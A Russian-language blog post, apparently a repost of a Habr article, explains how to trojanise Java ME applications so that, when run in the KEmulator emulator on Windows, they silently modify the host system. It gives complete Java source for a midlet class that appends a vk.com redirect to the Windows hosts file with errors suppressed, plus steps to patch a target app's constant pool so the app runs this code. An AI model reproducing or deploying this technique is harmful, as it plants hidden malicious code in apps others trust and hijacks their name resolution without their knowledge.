Безопасность — одна из ключевых фич Java.
На мобильном устройстве мы никак не сможем выполнить вредоносный код. И это все знают, а значит, без опасений запускают любые приложения и игры. В том числе и в эмуляторах.
Я продемонстрирую еще один из тысячи способов поиметь файл hosts в Windows — с помощью обыкновенного мидлета!
Kemulator — эмулятор мобильных игр и приложений
Cтатья посвящена данному эмулятору и моей извращенной фантазии.
Работает он просто: MIDP API переписано на Java SE и связано с ядром кемуля.
Загрузку классов обеспечивает свой Classloader.
Следовательно, использование Java SE классов в мидлете является возможным.
Для того чтобы внедрить свой код в чужое приложение на Java ME, достаточно написать класс наследуемый от javax.microedition.midlet.MIDlet и расширять его в главном(самый простой способ).
Приведу пример:
import java.io.File; import java.io.FileOutputStream; import javax.microedition.midlet.MIDlet; public abstract class Inj extends MIDlet implements Runnable { public Inj() { new Thread(this).start(); } public void run() { try { Class.forName("emulator.Emulator"); File f = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts"); FileOutputStream fos = new FileOutputStream(f, true); fos.write("\n74.125.132.94 vk.com".getBytes()); fos.close(); } catch (Throwable ex) { } } protected void destroyApp(boolean unconditional) { } protected void pauseApp() { } protected void startApp() { } }
Это наш код, который будет работать только в эмуляторе, о чем говорит вызов класса Class.forName("emulator.Emulator");
внутри блока try… catch.
Kemulator дает доступ к файловой системе только в пределах папки «root», т.е. диска девайса, а с Java SE мы творим, что хотим.
Как его скомпилировать без лишней мороки? — Подключите rt.jar к проекту как API.
Дальше ясно, что следует изменить главный класс модифицируемой программы.
Для этого качаем любой редактор Constant Pool и меняем строку
javax/microedition/midlet/MIDlet
на
Inj
Преверефицируем и радуемся!
Хочется заметить, что телефоны на JP-7 выбросят ClassNotFoundException при запуске. Почему так — мне неизвестно. Спасибо!
ссылка на оригинал статьи http://habrahabr.ru/post/176755/
Добавить комментарий